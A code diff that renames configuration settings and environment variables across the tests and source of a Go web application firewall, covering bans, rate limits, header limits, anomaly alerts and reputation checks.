runUntilStopped(t, env, func(url string) {
@@ -508,14 +508,14 @@ func TestBanAddedAndLiftedThroughTheEndpointsKeptInBansJSON(t *testing.T) {
dir := t.TempDir()
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: dir,
rulesDir: t.TempDir(),
adminToken: adminSecret,
listenAddr: localhost + ":0",
stateDir: dir,
ruleFilesDir: t.TempDir(),
adminToken: adminSecret,
// Neither comes due in the test: the files are written as
// sww stops.
stateWriteDelay: "1h",
stateCounterInterval: "1h",
bansWriteDelay: "1h",
stateWriteInterval: "1h",
}
runUntilStopped(t, env, func(url string) {
@@ -551,9 +551,9 @@ func TestRuleFileAddedWhileRunningTakesEffect(t *testing.T) {
dir := t.TempDir()
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: dir,
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
ruleFilesDir: dir,
// The requests sent until the rule takes effect must not break a
// rate limit, whose ban would refuse them too.
"SWW_WAF_RATE_LIMIT_PER_MINUTE": "off",
@@ -602,13 +602,17 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
)
}
func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
func TestRuleFilesDirThatDoesNotExistStopsTheStart(t *testing.T) {
t.Parallel()
dir := filepath.Join(t.TempDir(), "rules.d")
wantRulesRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+
": no such file or directory")
wantRulesRefused(
t,
dir,
"SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+
": no such file or directory",
)
}
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
@@ -620,7 +624,7 @@ func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
out := &output{}
status := run(t.Context(), map[string]string{
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
}, out)
if status != 1 {
@@ -652,8 +656,8 @@ func TestCoreRuleSetExclusionsFileThatCannotBeUsedStopsTheStartWhileTheCoreRuleS
out := &output{}
status := run(t.Context(), map[string]string{
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
"SWW_WAF_CORE_RULE_SET_MODE": config.WAFModeOff,
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
"SWW_WAF_CORE_RULE_SET_MODE": config.CoreRuleSetModeOff,
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
}, out)
if status != 1 {
@@ -675,7 +679,7 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
metricsToken: token,
instanceName: instance,
lookupSource: "file",
@@ -788,7 +792,7 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
cacheDir: cache,
rulesDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
metricsToken: token,
instanceName: instance,
"SWW_WAF_BLOCKLIST_URLS": torURL,
@@ -874,7 +878,7 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
listenAddr: localhost + ":0",
stateDir: dir,
cacheDir: cache,
rulesDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
"SWW_WAF_CROWDSEC_LAPI_URL": engine.URL,
"SWW_WAF_CROWDSEC_LAPI_KEY": bouncerKey,
}
@@ -957,7 +961,7 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
out := &output{}
status := run(ctx, map[string]string{
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
lookupSource: "file", lookupDBPath: path,
}, out)
if status != 1 {
@@ -992,7 +996,7 @@ func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
"SWW_WAF_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(),
}
@@ -1049,14 +1053,14 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
}()
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
"SWW_WAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().
String(),
"SWW_WAF_LOG_REMOTE_BUFFER": "1",
metricsToken: token,
instanceName: instance,
"SWW_WAF_LOG_REMOTE_BUFFER_LINES": "1",
metricsToken: token,
instanceName: instance,
}
out := runUntilStopped(t, env, func(url string) {
@@ -1127,7 +1131,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: dir,
rulesDir: rules,
ruleFilesDir: rules,
"SWW_WAF_ALERT_WEBHOOK_URL": webhook.url,
"SWW_WAF_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret,
instanceName: instance,
@@ -1233,7 +1237,7 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
rateLimitPerDay: "1",
// The metrics are read from 127.0.0.1, which no limit counts.
"SWW_WAF_ALLOW_NETS": localhost + "/32",
@@ -1327,7 +1331,7 @@ func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
out := &output{}
status := run(ctx, map[string]string{
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
cacheDir: filepath.Join(t.TempDir(), "missing"),
}, out)
if status != 1 {
@@ -1356,7 +1360,7 @@ func wantStartRefused(t *testing.T, dir, want string) {
out := &output{}
status := run(ctx, map[string]string{
listenAddr: localhost + ":0", stateDir: dir, rulesDir: t.TempDir(),
listenAddr: localhost + ":0", stateDir: dir, ruleFilesDir: t.TempDir(),
}, out)
if status != 1 {
t.Fatalf("exit status %d, want 1", status)
@@ -1386,7 +1390,7 @@ func wantRulesRefused(t *testing.T, dir, want string) {
out := &output{}
status := run(ctx, map[string]string{
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: dir,
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: dir,
}, out)
if status != 1 {
t.Fatalf("exit status %d, want 1", status)
@@ -1458,8 +1462,8 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
listenAddr: localhost + ":0",
stateDir: dir,
"SWW_WAF_MODE": "enforce",
stateWriteDelay: "10s",
stateCounterInterval: "15m",
bansWriteDelay: "10s",
stateWriteInterval: "15m",
"SWW_WAF_ALLOW_NETS": "",
rateLimitExemptNets: "",
"SWW_WAF_DENY_NETS": "",
@@ -1472,11 +1476,11 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
"SWW_WAF_BAN_RESPONSE": "403",
"SWW_WAF_LIMIT_BAN_DURATION": "1h",
"SWW_WAF_LIMIT_BAN_REPEAT_WINDOW": "24h",
"SWW_WAF_MAX_BAN_DURATION": "7d",
"SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE": "7d",
"SWW_WAF_ATTACK_BAN_DURATION": "7d",
"SWW_WAF_MAX_BANS": "5000",
"SWW_WAF_BAN_SCOPE_V4_PREFIX": "32",
"SWW_WAF_RULES_ENABLED": "true",
"SWW_WAF_RULE_FILES_ENABLED": "true",
}
for name, value := range want {
+4 -4
View File
@@ -96,7 +96,7 @@ func TestMainRunsWAF(t *testing.T) {
listenAddr+"="+localhost+":0",
stateDir+"="+dir,
cacheDir+"="+dir,
rulesDir+"="+t.TempDir(),
ruleFilesDir+"="+t.TempDir(),
lookupSource+"=off")
exited := startProcess(t, cmd)
@@ -278,9 +278,9 @@ func TestWAFKeepsItsBansAcrossARestartAndNeedsNoApp(t *testing.T) {
t.Parallel()
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
}
runWAF(t, env, func(addr string) {
+3 -3
View File
@@ -1,7 +1,7 @@
package waf
// The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY,
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_REPUTATION_ACTION.
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_DNSBL_ABUSEIPDB_ACTION.
import (
"context"
@@ -16,7 +16,7 @@ import (
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
// the score, when its score of the client is a hit, and refuses the request
// when SWW_WAF_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
// when SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, as dnsbl does for a zone. While
// SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
// checked in the background, by the request's address, if its history counts
// an offence, and the request does not wait for the answer. The score is then
@@ -54,7 +54,7 @@ func (abuseIPDB) check(
"scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE",
)
if rq.h.config.ReputationAction != deny {
if rq.h.config.DNSBLAbuseIPDBAction != deny {
return nil
}
+3 -3
View File
@@ -57,7 +57,7 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
rulesDir: writeRules(t, testRules),
ruleFilesDir: writeRules(t, testRules),
})
start := clk.Now()
netblock := netip.MustParsePrefix(client + "/32")
@@ -121,7 +121,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
s, clk, server, queue := startWithAlerts(t, map[string]string{
mode: observe,
rateLimitPerMinute: "2",
rulesDir: writeRules(t, testRules),
ruleFilesDir: writeRules(t, testRules),
})
start := clk.Now()
@@ -209,7 +209,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
s, _, _, queue := startWithAlerts(t, map[string]string{
mode: observe,
rateLimitPerMinute: "2",
rulesDir: writeRules(t, testRules),
ruleFilesDir: writeRules(t, testRules),
alertMaxPerHour: "2",
})
+1 -1
View File
@@ -19,7 +19,7 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
client: netip.MustParseAddr("203.0.113.9"),
lookedUp: true,
},
h: &handler{config: &config.Config{LookupSource: "geojs"}},
h: &handler{config: &config.WAF{LookupSource: "geojs"}},
}
defer func() {
+13 -13
View File
@@ -21,11 +21,11 @@ import (
// The anomaly thresholds: the prefix of a scope followed by the end of a
// count.
const (
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
anomalyNet = "SWW_WAF_ANOMALY_NET_"
anomalyASN = "SWW_WAF_ANOMALY_ASN_"
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
anomalyWatch = "SWW_WAF_WATCH_"
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
anomalyNet = "SWW_WAF_ANOMALY_NET_"
anomalyASN = "SWW_WAF_ANOMALY_ASN_"
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
anomalyWatchedNet = "SWW_WAF_ANOMALY_WATCHED_NET_"
requestsPerMinute = "REQUESTS_PER_MINUTE"
requestsPerHour = "REQUESTS_PER_HOUR"
@@ -37,7 +37,7 @@ const (
const (
anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX"
anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX"
watchNets = "SWW_WAF_WATCH_NETS"
watchedNets = "SWW_WAF_ANOMALY_WATCHED_NETS"
)
const (
@@ -75,7 +75,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
{
anomalyWatch, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
anomalyWatchedNet, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
"the named netblock office, " + clientsNet, map[string]any{"name": "office"},
},
} {
@@ -97,7 +97,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
t.Run(setting, func(t *testing.T) {
t.Parallel()
env := map[string]string{setting: value, watchNets: office}
env := map[string]string{setting: value, watchedNets: office}
s, clk, server, queue := startWithLookupsAndClock(t, env)
start := clk.Now()
@@ -219,7 +219,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
// With every threshold off, nothing is counted.
s, server, queue := startWithLookups(
t,
map[string]string{watchNets: office},
map[string]string{watchedNets: office},
)
for range 5 {
@@ -234,7 +234,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
// With one set, its count alone is counted, in its scope alone.
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
anomalyNet + requestsPerMinute: aLot, watchNets: office,
anomalyNet + requestsPerMinute: aLot, watchedNets: office,
})
for range 5 {
@@ -348,7 +348,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
asnAndCountryLookupTimeout: "3600000",
anomalyASN + requestsPerMinute: aLot,
})
server.Store(started)
@@ -379,8 +379,8 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
t,
readAndAnswer,
map[string]string{
anomalyWatch + requestsPerMinute: aLot,
watchNets: office + ",wide=203.0.0.0/16" +
anomalyWatchedNet + requestsPerMinute: aLot,
watchedNets: office + ",wide=203.0.0.0/16" +
",other=198.51.100.0/25",
},
)
+40 -28
View File
@@ -29,13 +29,13 @@ import (
)
const (
// answerTimeLimit is the default of rproxy's SWW_RPROXY_TIMEOUT_MS, the time
// waf has to answer.
// answerTimeLimit is the default of rproxy's
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, the time waf has to answer.
answerTimeLimit = 2 * time.Second
// defaultLookupWait is the default of SWW_WAF_LOOKUP_TIMEOUT.
// defaultLookupWait is the default of SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS.
defaultLookupWait = 800 * time.Millisecond
// defaultReputationWait is the default of SWW_WAF_REPUTATION_TIMEOUT.
defaultReputationWait = 2 * time.Second
// defaultDNSBLAbuseIPDBWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS.
defaultDNSBLAbuseIPDBWait = 2 * time.Second
// The header limits SPEC.md gives.
cookieLimit = 50
headerFieldLimit = 100
@@ -80,7 +80,7 @@ func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(
) {
t.Parallel()
s := startWAF(t, "", map[string]string{wafMode: block})
s := startWAF(t, "", map[string]string{coreRuleSetMode: block})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
@@ -160,7 +160,7 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s := startWAF(t, "", map[string]string{wafMode: block})
s := startWAF(t, "", map[string]string{coreRuleSetMode: block})
req := s.question(siteA, client, "/")
tc.make(req)
@@ -195,9 +195,9 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
t.Parallel()
for _, env := range []map[string]string{
{wafMode: off},
{wafMode: "detect"},
{wafMode: block, "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS": "/"},
{coreRuleSetMode: off},
{coreRuleSetMode: "detect"},
{coreRuleSetMode: block, "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS": "/"},
} {
t.Run(fmt.Sprint(env), func(t *testing.T) {
t.Parallel()
@@ -217,7 +217,7 @@ func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
s := startWAF(
t,
"",
map[string]string{wafMode: block, allowNets: client},
map[string]string{coreRuleSetMode: block, allowNets: client},
)
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
@@ -228,7 +228,11 @@ func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
t.Parallel()
s := startWAF(t, "", map[string]string{mode: observe, wafMode: block})
s := startWAF(
t,
"",
map[string]string{mode: observe, coreRuleSetMode: block},
)
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
@@ -298,7 +302,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
},
{
"a DNS blocklist", map[string]string{
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny,
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionDeny,
},
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
@@ -306,7 +310,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
},
{
"AbuseIPDB",
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionDeny},
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
// Over SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default.
loadScores(server, map[string]int64{client: 80})
@@ -325,7 +329,9 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
leaveAsItIs,
},
{
"a block rule", map[string]string{rulesDir: writeRules(t, testRules)}, "/blocked",
"a block rule",
map[string]string{ruleFilesDir: writeRules(t, testRules)},
"/blocked",
leaveAsItIs,
},
} {
@@ -366,9 +372,9 @@ func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) {
t,
map[string]standInRoute{client: {prefixDE, 64496}},
),
dnsblZones: dnsblZone, reputationAction: actionLog,
rulesDir: writeRules(t, "noted path log ^/\n"),
wafMode: block,
dnsblZones: dnsblZone, dnsblAbuseIPDBAction: actionLog,
ruleFilesDir: writeRules(t, "noted path log ^/\n"),
coreRuleSetMode: block,
})
loadLists(t, s.server, map[string][]string{vpnList: {client}})
loadVerdicts(s.server, map[string][]string{client: {dnsblZone}})
@@ -426,7 +432,9 @@ func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
// not wait.
geojsURL, _ := startGeoJS(t)
s := startWAF(t, geojsURL, map[string]string{
unknownLimitPercent: "0", lookupTimeout: "1h", rateLimitPerMinute: "1",
unknownCountryLimitPercent: "0",
asnAndCountryLookupTimeout: "3600000",
rateLimitPerMinute: "1",
})
countClient(t, s.server, s.clock.Now())
@@ -459,7 +467,7 @@ func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(
// not wait.
geojsURL, _ := startGeoJS(t)
s := startWAF(t, geojsURL, map[string]string{
unknownLimitPercent: "0", rateLimitPerMinute: "1",
unknownCountryLimitPercent: "0", rateLimitPerMinute: "1",
})
s.server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
@@ -494,7 +502,7 @@ func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(
geojsURL, asked := startGeoJS(t)
s := startWAF(t, geojsURL, map[string]string{
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
mode: observe, addLookupHeaders: on, asnAndCountryLookupTimeout: "3600000",
})
req := s.question(siteA, fromDE, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
@@ -622,8 +630,10 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
action: requestlog.ActionClientIsRateLimited,
},
{
name: "the rate limits, with a biased threshold",
env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
name: "the rate limits, with a biased threshold",
env: map[string]string{
rateLimitPerMinute: "1", unknownCountryLimitPercent: "50",
},
prepare: countClient, status: forbidden,
action: requestlog.ActionClientIsRateLimited,
},
@@ -646,8 +656,9 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, so that a request that does not wait takes no time at all.
// In a synctest bubble, as
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
// so that a request that does not wait takes no time at all.
synctest.Test(t, func(t *testing.T) {
server, out := newWAFInBubble(t, tc.env)
tc.prepare(t, server, time.Now())
@@ -759,7 +770,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
return waf.New(params)
}, silentGeoJSURL, time.Now, map[string]string{
tagDeny: "country=KP", wafMode: block,
tagDeny: "country=KP", coreRuleSetMode: block,
dnsblZones: dnsblZone, dnsblResolver: resolver,
abuseIPDBKey: accountKey,
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
@@ -770,7 +781,8 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
// network inside it would keep its clock from moving on.
go server.Lists.Run(t.Context())
// In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
// In the bubble, as
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, the
// answer takes exactly as long as waf waits, however busy the host is.
// GeoJS and AbuseIPDB never answer there, without the network. The query to
// the DNS blocklist waits on the network, which stops the bubble's clock,
@@ -832,7 +844,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
// The query is answered, and the check with AbuseIPDB abandoned,
// before the bubble ends.
releaseResolver()
time.Sleep(defaultReputationWait)
time.Sleep(defaultDNSBLAbuseIPDBWait)
})
}
+4 -4
View File
@@ -81,11 +81,11 @@ func limitFigures(hit ratelimit.Hit) map[string]any {
// countedBytes returns the request's bytes, once it has ended, as the
// byte limits and the anomaly thresholds count them: the response's body
// bytes, the request's, or both, as SWW_WAF_BYTES_COUNT says.
// bytes, the request's, or both, as SWW_WAF_BYTES_COUNTED says.
func (rq *request) countedBytes() int64 {
response, request := rq.out.bytes, rq.requestBytes
switch rq.h.config.BytesCount {
switch rq.h.config.BytesCounted {
case "response":
return response
case "request":
@@ -100,8 +100,8 @@ func (rq *request) countedBytes() int64 {
// the metrics. status is what the client was sent, or is sent:
// SWW_WAF_BAN_RESPONSE for a request over a rate limit, what the report says for
// one whose bytes broke a byte limit, the refusal for one that broke the
// error burst. The ban's notes give the client's limit percentage for a
// rate limit or a byte limit; the error burst is not lowered. The ban sets
// refusal limit. The ban's notes give the client's limit percentage for a
// rate limit or a byte limit; the refusal limit is not lowered. The ban sets
// the client's counters back to zero. In observe mode it makes no ban and
// sets nothing back, and raises the alert for the ban it would have made,
// if that alert would be sent.
+16 -16
View File
@@ -90,10 +90,10 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
t.Parallel()
s, clk, _ := startWithClock(t, "", map[string]string{
rateLimitPerMinute: "1",
limitBanDuration: "10m",
limitBanRepeatWindow: "1h",
maxBanDuration: "1h",
rateLimitPerMinute: "1",
limitBanDuration: "10m",
limitBanRepeatWindow: "1h",
limitBanPermanentAbove: "1h",
})
// breakLimit has client go over the limit of one a minute, and
@@ -130,7 +130,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
clk.advance(10 * time.Minute)
wantExpires(breakLimit(), 30*time.Minute)
// 90 minutes would be longer than SWW_WAF_MAX_BAN_DURATION: the ban is
// 90 minutes would be longer than SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE: the ban is
// permanent.
clk.advance(30 * time.Minute)
@@ -256,10 +256,10 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
geojsURL, asked := startGeoJS(t)
s, _, _ := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
banScopeV4Prefix: "24",
tagDeny: denyKP,
asnAndCountryLookupTimeout: "3600000",
rateLimitPerMinute: "1",
banScopeV4Prefix: "24",
tagDeny: denyKP,
})
// fromDE's ban covers otherClient, which is refused unasked about.
@@ -319,10 +319,10 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
geojsURL, _ := startGeoJS(t)
env := map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
denyNets: denied,
tagDeny: denyKP,
asnAndCountryLookupTimeout: "3600000",
rateLimitPerMinute: "1",
denyNets: denied,
tagDeny: denyKP,
}
if tc.setting != "" {
@@ -345,9 +345,9 @@ func TestBanNotes(t *testing.T) {
geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
tagDeny: denyKP,
asnAndCountryLookupTimeout: "3600000",
rateLimitPerMinute: "1",
tagDeny: denyKP,
})
start := clk.Now()
+28 -27
View File
@@ -17,14 +17,15 @@ type percentage struct {
}
// biasedThresholdsSet reports whether a biased threshold can lower a
// client's limits by its lookup: SWW_WAF_ASN_BYTES_PERCENT or
// SWW_WAF_COUNTRY_BYTES_PERCENT is not empty, SWW_WAF_UNKNOWN_LIMIT_PERCENT is
// below 100, or SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
// then needed before its request goes on.
func biasedThresholdsSet(cfg *config.Config) bool {
return len(cfg.ASNBytesPercent) > 0 ||
len(cfg.CountryBytesPercent) > 0 ||
cfg.UnknownLimitPercent < whole ||
// client's limits by its lookup: SWW_WAF_ASN_BYTES_LIMIT_PERCENT or
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT is not empty,
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is below 100, or
// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is then needed
// before its request goes on.
func biasedThresholdsSet(cfg *config.WAF) bool {
return len(cfg.ASNBytesLimitPercent) > 0 ||
len(cfg.CountryBytesLimitPercent) > 0 ||
cfg.UnknownCountryLimitPercent < whole ||
cfg.ASNLimitPercentURL != ""
}
@@ -37,13 +38,13 @@ func biasedThresholdsSet(cfg *config.Config) bool {
// SWW_WAF_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
// SWW_WAF_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
// other tags, for a client without a country, unless its request skipped
// the wait for GeoJS, SWW_WAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
// the wait for GeoJS, SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT, for a client a blocklist
// lists, the percentage of SWW_WAF_BLOCKLIST_ACTION while it is limit, and
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
// a hit, the percentage of SWW_WAF_REPUTATION_ACTION while it is limit. For
// the byte limits, SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT
// take the place of the first three for an AS number or a country they
// list.
// a hit, the percentage of SWW_WAF_DNSBL_ABUSEIPDB_ACTION while it is limit. For
// the byte limits, SWW_WAF_ASN_BYTES_LIMIT_PERCENT and
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT take the place of the first three for
// an AS number or a country they list.
func (rq *request) limitPercentages() (percentage, percentage) {
cfg := rq.h.config
asn, country := rq.line.ASN, rq.line.Country
@@ -51,8 +52,8 @@ func (rq *request) limitPercentages() (percentage, percentage) {
unknown := percentage{percent: whole}
if country == "" && !rq.skippedLookupWait {
unknown = percentage{
cfg.UnknownLimitPercent,
"SWW_WAF_UNKNOWN_LIMIT_PERCENT",
cfg.UnknownCountryLimitPercent,
"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT",
}
}
@@ -69,12 +70,12 @@ func (rq *request) limitPercentages() (percentage, percentage) {
}
}
reputationListed := percentage{percent: whole}
dnsblAbuseIPDBListed := percentage{percent: whole}
if (rq.dnsblListed || rq.abuseIPDBHit) &&
cfg.ReputationAction == "limit" {
reputationListed = percentage{
cfg.ReputationLimitPercent,
"SWW_WAF_REPUTATION_ACTION",
cfg.DNSBLAbuseIPDBAction == "limit" {
dnsblAbuseIPDBListed = percentage{
cfg.DNSBLAbuseIPDBLimitPercent,
"SWW_WAF_DNSBL_ABUSEIPDB_ACTION",
}
}
@@ -102,24 +103,24 @@ func (rq *request) limitPercentages() (percentage, percentage) {
}
asnBytes, countryBytes := asnRequests, countryRequests
if _, listed := cfg.ASNBytesPercent[asn]; listed {
if _, listed := cfg.ASNBytesLimitPercent[asn]; listed {
asnBytes = given(
cfg.ASNBytesPercent,
cfg.ASNBytesLimitPercent,
asn,
"SWW_WAF_ASN_BYTES_PERCENT",
"SWW_WAF_ASN_BYTES_LIMIT_PERCENT",
)
}
if _, listed := cfg.CountryBytesPercent[country]; listed {
if _, listed := cfg.CountryBytesLimitPercent[country]; listed {
countryBytes = given(
cfg.CountryBytesPercent,
cfg.CountryBytesLimitPercent,
country,
